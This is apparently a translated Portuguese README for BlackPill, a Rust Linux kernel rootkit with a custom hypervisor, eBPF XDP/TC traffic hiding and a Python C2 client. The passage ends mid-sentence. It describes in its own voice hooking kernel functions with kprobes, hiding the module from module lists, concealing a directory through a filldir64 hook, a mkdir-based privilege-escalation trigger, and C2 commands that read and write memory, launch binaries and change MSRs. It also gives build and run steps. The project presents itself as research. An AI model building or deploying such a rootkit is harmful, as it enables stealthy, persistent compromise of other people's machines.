
Um rootkit de kernel Linux em Rust utilizando um hipervisor tipo 2 feito sob medida, programas eBPF XDP e TC
BlackPill é um rootkit Linux furtivo feito em Rust.
O rootkit é composto por múltiplos módulos (falando de módulos Rust, não de módulos do kernel):
A arquitetura é a seguinte:

E aqui está como o código malicioso é executado da C2 para o guest da VM:

A C2 envia mnemônicos x86_64 montados e elaborados para o rootkit, que então os envia ao guest da VM para execução. O guest da VM é isolado do host e pode ser usado para executar código malicioso.
O kernel não vê os pacotes maliciosos de entrada, pois eles são filtrados pelo programa eBPF XDP e enviados ao módulo LKM, e os pacotes de saída são modificados pelo programa eBPF TC.
[!IMPORTANT]
Este projeto ainda está em desenvolvimento. Nem todos os recursos estão funcionando!
Sinta-se à vontade para abrir issues ou pull requests.
Hooking é uma capacidade fundamental do rootkit, implementado usando kprobes no kernel Linux. Essa técnica intercepta e redireciona a execução de funções do sistema para monitorar ou modificar seu comportamento. No contexto deste rootkit, kprobes fornece um mecanismo poderoso para interagir com funções do kernel sem alterar o código-fonte diretamente.
Para garantir furtividade, o rootkit emprega dois mecanismos principais de anti-detecção:
Removendo o Módulo da Lista de Módulos do Kernel
Quando um módulo do kernel é carregado, ele é adicionado à lista de módulos do kernel, visível por ferramentas como lsmod ou /proc/modules. Para evitar a detecção:
Interceptando a Função filldir64 para Ocultar um Diretório Específico
Para ocultar arquivos usados pelo rootkit, um hook é implementado na função filldir64. Essa função é invocada quando um processo lê o conteúdo de um diretório (por exemplo, via chamadas de sistema getdents ou readdir).
filldir64 usando kprobes./BLACKPILL-BLACKPILL (usado para armazenar arquivos críticos do rootkit), ela é filtrada e não retornada ao usuário.Nosso hipervisor simples foi implementado seguindo isto:
Configuração inicial do sistema
Entrando no Modo VMX ou SVM
Gerenciando Transições Entre Host e Guest
Criação do Sistema Convidado
Comunicação
A persistência é uma capacidade crítica de qualquer rootkit, permitindo-lhe manter o controle sobre o sistema alvo mesmo após uma reinicialização.
Na implementação atual, o mecanismo de persistência demonstra sua funcionalidade criando um arquivo de teste no sistema de arquivos usando o comando /bin/touch. Essa ação provisória mostra a capacidade do rootkit de executar operações privilegiadas e pode ser estendida para implementar estratégias de persistência mais avançadas.
Atualmente, isso é inútil, pois não é nossa prioridade criar um rootkit de nível APT, mas sim fazer mais pesquisa em torno de conceitos menos explorados.
Várias etapas precisam ser realizadas antes de compilar nosso rootkit. O ambiente de desenvolvimento é composto por:
Comece clonando o repositório e seus submódulos rasos:
git clone [email protected]:DualHorizon/blackpill.git --recursive --depth 1
Em uma distribuição baseada em Arch:
sudo pacman -S qemu-base qemu-desktop docker grub
Em uma distribuição Linux baseada em Arch, instale Rust e outras dependências:
sudo pacman -S rust rust-src rust-bindgen
sudo pacman -S clang lld llvm
Depois precisaremos das fontes do Rust e do bindgen:
rustup component add rust-src clippy rustfmt
cargo install --locked bindgen-cli
Certifique-se de que você pode começar a compilar seu kernel com Rust executando na pasta linux/:
$ cd blackpill
$ pushd linux
$ make LLVM=1 rustavailable
Rust is available!
$ popd
Execute a tarefa de configuração da primeira vez, que configura e compila o kernel:
make first-time-setup
[!IMPORTANT]
Se forem solicitadas opções de personalização, pressione Enter sempre.
Você pode compilar o módulo Rust do kernel (out-of-tree) com:
make
Inicie a VM com:
make vm
Dentro da VM, você está automaticamente logado como root. Você pode habilitar o módulo:
$ modprobe blackpill
# você pode verificar os logs do kernel com
$ dmesg
Depois que a VM iniciar, você pode usar o comando acima para escalar seus privilégios:
mkdir ImFeelingRootNow_<PID>
Substitua <PID> pelo id do processo cujo privilégio você deseja escalar.
Esta C2 simples envia opcodes x86-64 para a máquina infectada via UDP e recebe pacotes TCP. Suas funções são atualmente limitadas à interação de baixo nível com a máquina, mas podem permitir uma ampla gama de usos práticos com mais wrappers.
Configure o cliente python:
cd blackpill-c2
poetry install
poetry shell
python client.py
Depois de executar o cliente com seus argumentos ([ip] [port]), você deve obter:
$ python client.py 0.0.0.0 1339
Connected to rootkit!
Em seguida, você pode usar o comando help para exibir os comandos disponíveis:
blackpill: help
Available Commands
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Command ┃ Description ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ read_virt_memory <address> │ Read 4 bytes (32 bits) memory at 'address' │
│ write_virt_memory <address> <value> │ Write 4 bytes (32 bits) memory at 'address' │
│ launch_userland_binary <path> │ Launch a userland binary at 'path' │
│ change_msr <msr> <value> │ Change the value of a Model Specific Register (MSR) │
│ read_phys_memory <address> <value> │ Read 4 bytes (32 bits) of physical memory at 'address' │
│ write_phys_memory <address> <value> │ Write 4 bytes (32 bits) of physical memory at 'address' │
│ stop_execution │ Stop the execution of the guest VM │
│ change_vmcs_field <field> <value> │ Change a VMCS field to 'value' │
│ help │ Show this help message │
└─────────────────────────────────────┴─────────────────────────────────────────────────────────┘
Configuração do ambiente:
Usando Programas eBPF XDP e TC para Modificar o Tráfego de Rede de Entrada e Saída Para normalizar nossas comunicações de rede maliciosas, usamos programas eBPF XDP (eXpress Data Path) e TC (Traffic Control). Dessa forma, podemos: